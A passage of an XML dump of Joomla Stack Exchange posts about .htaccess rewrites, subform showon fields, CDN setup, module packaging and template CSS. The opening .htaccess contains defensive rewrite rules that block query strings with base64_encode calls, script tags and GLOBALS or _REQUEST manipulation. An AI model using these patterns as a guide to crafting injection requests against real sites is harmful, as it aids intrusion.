using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## No directory listings&#xA;IndexIgnore *&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;RewriteCond %{HTTP_USER_AGENT} libwww-perl.* &#xA;RewriteRule .* ? [F,L]&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} (de|en|es|fr)/$&#xA;RewriteRule ^ %1 [R=301,L]&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&#xA;AddHandler php5-fastcgi .php .php5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13652" LastEditorUserId="13652" LastEditDate="2019-08-16T14:13:08.987" LastActivityDate="2023-12-23T22:05:15.607" Title="Remove index.php - file on multlilingual Joomla Site" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25045" PostTypeId="2" ParentId="25044" CreationDate="2019-08-16T13:48:50.847" Score="0" Body="&lt;p&gt;This should target the start page of each language, only when it has a trailing slash.  Then it will remove the trailing slash.  If you need something else, please comment and I will adjust it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} (de|en|es|fr)/$&#xA;RewriteRule ^ %1 [R=301,L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="464" LastActivityDate="2019-08-16T13:48:50.847" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25046" PostTypeId="1" CreationDate="2019-08-16T19:36:36.470" Score="1" ViewCount="122" Body="&lt;p&gt;I try to use the form from Joomla, but seems there are strange downsides…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I setup a contact form, from &lt;code&gt;Components &amp;gt; Contacts&lt;/code&gt;, and put this &lt;code&gt;Contact Component&lt;/code&gt; inside a &lt;code&gt;Menu&lt;/code&gt;, I can access the &quot;contact page&quot; form from all these URL:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;/index.php?option=com_contact&amp;amp;view=contact&amp;amp;id=1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/component/contact?view=contact&amp;amp;id=1:contact&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/contact&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;where the first ones return to the same path, but the last one is somehow &quot;independent&quot;, with different meta tags…, but not so much (if I remove the contact component, I get a 404 error).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More strange, I have the following useless URL that seems to act like a category page:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/component/contact&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get ride of all these page, without recourse to &lt;code&gt;.htaccess&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13691" LastActivityDate="2019-08-16T19:36:36.470" Title="How to get ride of duplicate and useless URL from /component/contact" Tags="|joomla-3.x|joomla-4|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25047" PostTypeId="1" AcceptedAnswerId="25048" CreationDate="2019-08-16T20:50:25.643" Score="2" ViewCount="838" Body="&lt;p&gt;I want to use Showon in a nested XML file and I want to reference the original XML file's field name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that this is not possible in Joomla! Subforms because if I were to create the same fieldname in the subform which one would it choose?  (I personally would vote for the closest one i.e. the one in the currect xml).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway this is not possible is there another way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my files&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main Subform&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;fieldset name=&quot;image-fieldset&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;media_manager_or_url&quot;&#xA;          type=&quot;list&quot;&#xA;          label=&quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_MEDIA_MANAGER_OR_URL_LABEL&quot;&#xA;          description=&quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_MEDIA_MANAGER_OR_URL_DESCRIPTION&quot;&#xA;          default=&quot;0&quot;&#xA;          &amp;gt;&#xA;            &amp;lt;option value=&quot;0&quot;&amp;gt;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_MEDIA_MANAGER&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;1&quot;&amp;gt;URL&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;    &amp;lt;field name=&quot;images-subform&quot;&#xA;            label= &quot;MOD_KOU_BACKGROUND_IMAGE_WITH_IMAGES_SUBFORM_LABEL&quot;             &#xA;            description= &quot;MOD_KOU_BACKGROUND_IMAGE_WITH_IMAGES_SUBFORM_DESCRIPTION&quot;&#xA;            type= &quot;subform&quot;&#xA;            min= &quot;1&quot;&#xA;            max= &quot;1000&quot;&#xA;            required= &quot;true&quot;&#xA;            formsource= &quot;/modules/mod_kou_background_image_with_text/xml/media_manager_or_url.xml&quot;&#xA;            multiple= &quot;true&quot;&#xA;            buttons= &quot;add,remove&quot;&#xA;            layout=&quot;joomla.form.field.subform.repeatable&quot;&#xA;            groupByFieldset=&quot;false&quot;&#xA;  /&amp;gt;        &#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Secondary Subform&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;fieldset name=&quot;media-manager-or-url-fieldset&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;image&quot;&#xA;          type=&quot;media&quot;&#xA;          label=&quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_IMAGE_LABEL&quot;&#xA;          description=&quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_IMAGE_DESCRIPTION&quot;&#xA;          showon=&quot;media_manager_or_url:0&quot;&#xA;          /&amp;gt;       &#xA;    &amp;lt;field  name=&quot;url&quot;&#xA;            type=&quot;url&quot;&#xA;            label=&quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_URL_LABEL&quot;&#xA;            description=&quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_URL_DESCRIPTION&quot;&#xA;            showon=&quot;media_manager_or_url:1&quot;            &#xA;    /&amp;gt;&#xA;    &amp;lt;field  name=&quot;real-size&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_REAL_SIZE_LABEL&quot;&#xA;            description=&quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_REAL_SIZE_DESCRIPTION&quot;            &#xA;    /&amp;gt;&#xA;    &amp;lt;field  name=&quot;size&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_SIZE_LABEL&quot;&#xA;            description=&quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_SIZE_DESCRIPTION&quot;            &#xA;    /&amp;gt;               &#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-01-30T18:52:46.193" Title="How to use Subform in nested Subforms" Tags="|subform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25048" PostTypeId="2" ParentId="25047" CreationDate="2019-08-16T20:58:38.783" Score="5" Body="&lt;p&gt;The reason this doesn't work is because Joomla! does not know which showon to use.  The showon relates to the parent and not the existing file.  If we then had a same named field Joomla! would not know which one to choose.  So now you know why it doesn't work, you can work out what will work.  Here's the solution I came up with.&lt;/p&gt;&#xA;&lt;p&gt;By breaking up the files into multiple subforms you can use showon.  Here is what I ended up with.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Main Subform&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;fieldset name=&amp;quot;image-fieldset&amp;quot;&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;media_manager_or_url&amp;quot;&#xA;          type=&amp;quot;list&amp;quot;&#xA;          label=&amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_MEDIA_MANAGER_OR_URL_LABEL&amp;quot;&#xA;          description=&amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_MEDIA_MANAGER_OR_URL_DESCRIPTION&amp;quot;&#xA;          default=&amp;quot;0&amp;quot;&#xA;          &amp;gt;&#xA;            &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_MEDIA_MANAGER&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;URL&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;media-manager-images-subform&amp;quot;&#xA;            label= &amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_IMAGES_SUBFORM_LABEL&amp;quot;             &#xA;            description= &amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_IMAGES_SUBFORM_DESCRIPTION&amp;quot;&#xA;            type= &amp;quot;subform&amp;quot;&#xA;            min= &amp;quot;1&amp;quot;&#xA;            max= &amp;quot;1000&amp;quot;&#xA;            required= &amp;quot;true&amp;quot;&#xA;            formsource= &amp;quot;/modules/mod_kou_background_image_with_text/xml/media_manager_images_subform.xml&amp;quot;&#xA;            multiple= &amp;quot;true&amp;quot;&#xA;            buttons= &amp;quot;add,remove&amp;quot;&#xA;            layout=&amp;quot;joomla.form.field.subform.repeatable&amp;quot;&#xA;            groupByFieldset=&amp;quot;false&amp;quot;            &#xA;  /&amp;gt;       &#xA;    &amp;lt;field name=&amp;quot;url-images-subform&amp;quot;&#xA;            label= &amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_IMAGES_SUBFORM_LABEL&amp;quot;             &#xA;            description= &amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_IMAGES_SUBFORM_DESCRIPTION&amp;quot;&#xA;            type= &amp;quot;subform&amp;quot;&#xA;            min= &amp;quot;1&amp;quot;&#xA;            max= &amp;quot;1000&amp;quot;&#xA;            required= &amp;quot;true&amp;quot;&#xA;            formsource= &amp;quot;/modules/mod_kou_background_image_with_text/xml/url_images_subform.xml&amp;quot;&#xA;            multiple= &amp;quot;true&amp;quot;&#xA;            buttons= &amp;quot;add,remove&amp;quot;&#xA;            layout=&amp;quot;joomla.form.field.subform.repeatable&amp;quot;&#xA;            groupByFieldset=&amp;quot;false&amp;quot;&#xA;            showon=&amp;quot;media_manager_or_url:1&amp;quot;&#xA;  /&amp;gt;          &#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Secondary Subform&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;fieldset name=&amp;quot;media-manager-or-url-fieldset&amp;quot;&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;image&amp;quot;&#xA;          type=&amp;quot;media&amp;quot;&#xA;          label=&amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_IMAGE_LABEL&amp;quot;&#xA;          description=&amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_IMAGE_DESCRIPTION&amp;quot;&#xA;          showon=&amp;quot;media_manager_or_url:0&amp;quot;&#xA;          /&amp;gt;       &#xA;    &amp;lt;/field&amp;gt;&#xA;    &amp;lt;field  name=&amp;quot;url&amp;quot;&#xA;            type=&amp;quot;url&amp;quot;&#xA;            label=&amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_URL_LABEL&amp;quot;&#xA;            description=&amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_URL_DESCRIPTION&amp;quot;&#xA;            showon=&amp;quot;media_manager_or_url:1&amp;quot;            &#xA;    /&amp;gt;&#xA;    &amp;lt;field  name=&amp;quot;real-size&amp;quot;&#xA;            type=&amp;quot;text&amp;quot;&#xA;            label=&amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_REAL_SIZE_LABEL&amp;quot;&#xA;            description=&amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_REAL_SIZE_DESCRIPTION&amp;quot;            &#xA;    /&amp;gt;&#xA;    &amp;lt;field  name=&amp;quot;size&amp;quot;&#xA;            type=&amp;quot;text&amp;quot;&#xA;            label=&amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_SIZE_LABEL&amp;quot;&#xA;            description=&amp;quot;MOD_KOU_BACKGROUND_IMAGE_WITH_TEXT_SIZE_DESCRIPTION&amp;quot;            &#xA;    /&amp;gt;               &#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By breaking the form into subform parts which was not my first logic I was able to acheive this result without using any JavaScript.&lt;/p&gt;&#xA;&lt;p&gt;The slight downside was that instead of using 1 subform  with 4 elements, I had to use two with 3 elements.  For me as they were identical this copy and paste job was easy enough and it solved my problem using only Joomla! core.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2021-01-30T18:52:46.193" LastActivityDate="2021-01-30T18:52:46.193" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25049" PostTypeId="1" CreationDate="2019-08-16T21:03:22.613" Score="1" ViewCount="47" Body="&lt;p&gt;I am fairly new to using CDN but i've found that there are two types of CDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You redirect your DNS to your CDN and they automatically take over the traffic as a proxy and do the caching and content delivery. No change in URLs and it's basically no work. Even hard to understand if my content is being delivered through CDN (you have to check headers or use website tools that look for it). Good example is CloudFlare&#xA;You do not redirect your DNS. You give it an origin server, then everything gets copied over to the CDN servers and you content is available on the new CDN URLs.&#xA;Now, i have a website with a lot of images. I want to use Microsoft Azure CDN. I created my profile (Standart Microsoft CDN) and created the CDN endpoint. I tested and it works fine &lt;a href=&quot;https://xxxx.com/images/example.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://xxxx.com/images/example.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://xxxx.azureedge.net/images/example.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://xxxx.azureedge.net/images/example.png&lt;/a&gt; All good - my image is there, along wiht others&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what comes next? I have an image (img src tag) for example pointing to /images/example.png. It seems like i need to change it to &lt;a href=&quot;https://xxxx.azureedge.net/images/example.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://xxxx.azureedge.net/images/example.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my Joomla website has a lot of images and if i have to go and manually re-do all the img src tags it seems like a lot of work and what happens if i decide to move to another CDN or stop using CDN. So all this leads me to believe i might be missing a point here and not doing this correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that the correct way a CDN like this should work? If yes, may i get some help on how can i achieve that with minimum amount of labour? re-doing all my css, js and images to the new URLs? I am using Joomla CSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation out there on how to tackle or deal with something as easy as this are unbelievably limited.&lt;/p&gt;&#xA;" OwnerUserId="13698" LastActivityDate="2019-08-16T21:03:22.613" Title="Using Microsoft CDN with Joomla" Tags="|performance|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25050" PostTypeId="2" ParentId="25042" CreationDate="2019-08-16T23:29:03.150" Score="1" Body="&lt;p&gt;&quot;It's name attribute that was adminform. The ID is query-form. You need to either pass the form to Joomla.submitform() or change the ID to adminForm. &quot;   ...@Sharky&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-08-16T23:29:03.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25051" PostTypeId="1" AcceptedAnswerId="25052" CreationDate="2019-08-17T15:15:22.530" Score="0" ViewCount="36" Body="&lt;p&gt;I'm a Web Developer who has recently begun using Joomla. I've written a custom theme using php, html and css etc but would like to create a way for someone with &lt;strong&gt;absolutely no programming experience&lt;/strong&gt; to edit specific parts of the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in a simple GUI they could select a colour from a dropdown which would control the colour/alert type of a specific bootstrap alert on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue however is that I'm a tad confused about what it is I need to research creating. Is this sort of thing a 'component', a 'plugin' or even an 'extension' perhaps?&lt;/p&gt;&#xA;" OwnerUserId="13701" LastEditorUserId="12352" LastEditDate="2019-08-17T21:36:52.183" LastActivityDate="2019-08-18T08:40:17.617" Title="What kind of extension should I use in order to build a back-end GUI to edit parts of the theme?" Tags="|joomla-3.x|extensions|joomla-3.9|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25052" PostTypeId="2" ParentId="25051" CreationDate="2019-08-18T08:22:43.203" Score="1" Body="&lt;p&gt;Depending on how elaborate you want your offering to be then you could start with just adding your customisable attributes as template options via the templates .xml file so that you don't have to reinvent the process of loading template values. And then for you more Bespoke interface write an Admin component to present the options to the APNE that changes the template options under the covers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some pretty sophisticated customisation managers for template frameworks that just use the template settings, so I still suggest looking at some of what is out there already to help you decide the most suitable approach for your intentions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick search on Google for 'joomla template parameters' shows up a few hits, albeit a little old in what I looked at, where people are trying to go beyond the basic template settings so there might be some background information that could be of use to you.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-08-18T08:40:17.617" LastActivityDate="2019-08-18T08:40:17.617" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25054" PostTypeId="1" CreationDate="2019-08-18T17:31:56.620" Score="0" ViewCount="89" Body="&lt;p&gt;Say I want to take &lt;code&gt;mod_custom&lt;/code&gt; as a base for a future module. This module has an admin back-end and is not provided as package.&lt;/p&gt;&#xA;&lt;p&gt;After modifications, how can I package it for installation? Seems there is no documentation, in Joomla! website, about how to package modules with an admin back-end.&lt;/p&gt;&#xA;&lt;p&gt;How to organize folders. &lt;a href=&quot;https://docs.joomla.org/Absolute_Basics_of_How_a_Component_Functions#Accessing_a_Joomla.C7.83_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;Should I copy &lt;code&gt;Components&lt;/code&gt; structure&lt;/a&gt;?&lt;/p&gt;&#xA;&lt;p&gt;How to trigger registration of the admin back-end part?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Should I mention the admin part in the main xml file like with &lt;code&gt;Components&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Or &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J4.x:Creating_a_Simple_Module#Use_Install.2C_Update_and_Uninstall_script_-_Part_4&quot; rel=&quot;nofollow noreferrer&quot;&gt;should I write a script&lt;/a&gt;?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;Moreover, if I only copy/paste my module inside folders, I get &amp;quot;not blocking exception&amp;quot; named &lt;code&gt;Joomla\CMS\Categories\SectionNotFoundException:&lt;/code&gt; stating that the &lt;code&gt;$path&lt;/code&gt; does not exists in &lt;code&gt;./components/com_mod_xxxxx/helpers/category.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;So seems that a step, that occurs in the installation process, is missing.&lt;/p&gt;&#xA;" OwnerUserId="13691" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-08-19T08:07:38.940" Title="How to package modules with admin back-end" Tags="|joomla-3.x|joomla-4.x|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="25059" PostTypeId="1" AcceptedAnswerId="25069" CreationDate="2019-08-19T20:45:24.460" Score="3" ViewCount="302" Body="&lt;p&gt;Nowadays  many crawlers are using the REST Api features of most CMSs, to be able to crawl websites fast. WordPress and Drupal have their own REST interfaces so indexing any WordPress website is a simple task for example. What about Joomla? I do know there are REST api components just like com_api, but this is not installed by default on websites. So my question is: are there any simple ways to directly crawl the articles of a Joomla website other than playing with website's html? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! The data which needs to be extracted: Title, publish date, link, content. &lt;/p&gt;&#xA;" OwnerUserId="13709" LastActivityDate="2021-05-21T19:37:21.930" Title="Crawling Joomla websites without parsing website's html" Tags="|joomla-api|xml|restful-api|json|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25061" PostTypeId="1" AcceptedAnswerId="25062" CreationDate="2019-08-20T10:35:12.240" Score="2" ViewCount="5575" Body="&lt;p&gt;I am writing a Joomla template from scratch to use on my website. For some reason, I get white space above and below my header. My website, which you can check and inspect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vaterlinija.lt/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vaterlinija.lt/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspecting it on Firefox reveals that while Html element is using all the available space, the Body is not, even though I set the Body to &lt;code&gt;height: 100vh&lt;/code&gt; (also tried &lt;code&gt;min-height: 100vh&lt;/code&gt;) in the CSS. If i set Body element with &lt;code&gt;position: absolute; top:0; bottom:0; right:0; left:0;&lt;/code&gt; then it takes up all the space, but the Header still has these white spaces. I also set &lt;code&gt;margin&lt;/code&gt; and &lt;code&gt;padding&lt;/code&gt; to 0px on Body and Header... Which didn't change anything. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die('Restricted access'); &#xA;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addStyleSheet('templates/' . $this-&amp;gt;template . '/css/template.css'); &#xA;?&amp;gt;&#xA;&amp;lt;!DOCTYPE html PUBLIC&amp;gt;&#xA;&amp;lt;head&amp;gt; &#xA; &amp;lt;title&amp;gt;Vaterlinija&amp;lt;/title&amp;gt; &#xA; &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/css/template.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;/head&amp;gt; &#xA;&amp;lt;body&amp;gt; &#xA; &amp;lt;div class=&quot;header&quot;&amp;gt;&#xA;    &amp;lt;header&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;header&quot; style=&quot;none&quot;/&amp;gt;&#xA;    &amp;lt;/header&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;div class=&quot;nav&quot;&amp;gt;&#xA;    &amp;lt;nav&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;navigation&quot; style=&quot;none&quot;/&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA; &amp;lt;/div&amp;gt;        &#xA;  &amp;lt;div class=&quot;main&quot;&amp;gt;         &#xA;    &amp;lt;div class=&quot;column left&quot; style=&quot;background-color:#aaa;&quot;&amp;gt;&#xA;       &amp;lt;h2&amp;gt;Column 1&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;p&amp;gt;Some text..&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;column middle&quot; style=&quot;background-color:#bbb;&quot;&amp;gt;&#xA;      &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;main&quot; style=&quot;none&quot;/&amp;gt;&#xA;      &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;           &#xA;    &amp;lt;div class=&quot;column right&quot; style=&quot;background-color:#bbb;&quot;&amp;gt;&#xA;      &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;right_column1&quot; style=&quot;none&quot;/&amp;gt;&#xA;    &amp;lt;/div&amp;gt;      &#xA;  &amp;lt;/div&amp;gt;               &#xA; &amp;lt;div class=&quot;footer&quot;&amp;gt;&#xA;    &amp;lt;footer&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;footer&quot; style=&quot;none&quot;/&amp;gt;&#xA;    &amp;lt;/footer&amp;gt;&#xA; &amp;lt;/div&amp;gt;  &#xA;&amp;lt;/body&amp;gt; &#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my template.css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html {&#xA;  margin: 0px;&#xA;  height: 100vh;&#xA;  width: 100%;&#xA;}&#xA;&#xA;body{&#xA;  font-size:1.0em;&#xA;  background-color:#e5edd1;&#xA;  margin: 0px;&#xA;  padding: 0px;&#xA;  height: 100%;&#xA;  min-height: 100vh;&#xA;  width: 100%;&#xA;  //position: absolute; top:0; bottom:0; right:0; left:0;&#xA;  overflow: auto;  &#xA;}&#xA;&#xA;&#xA;h1{font-size:2.3em;}&#xA;h2{font-size:1.8em;}&#xA;h3{font-size:1.4em;}&#xA;h4{font-size:1.2em;}&#xA;p{font-size:1.0em;}&#xA;&#xA;.column {&#xA;  float: left;&#xA;  padding: 10px;&#xA;}&#xA;&#xA;.left, .right {&#xA;  width: 15%;&#xA;}&#xA;&#xA;.middle {&#xA;  width: 70%;&#xA;}&#xA;&#xA;.main:after {&#xA;  content: &quot;&quot;;&#xA;  display: table;&#xA;  clear: both;&#xA;}&#xA;&#xA;@media screen and (max-width: 600px) {&#xA;  .column {&#xA;    width: 100%;&#xA;  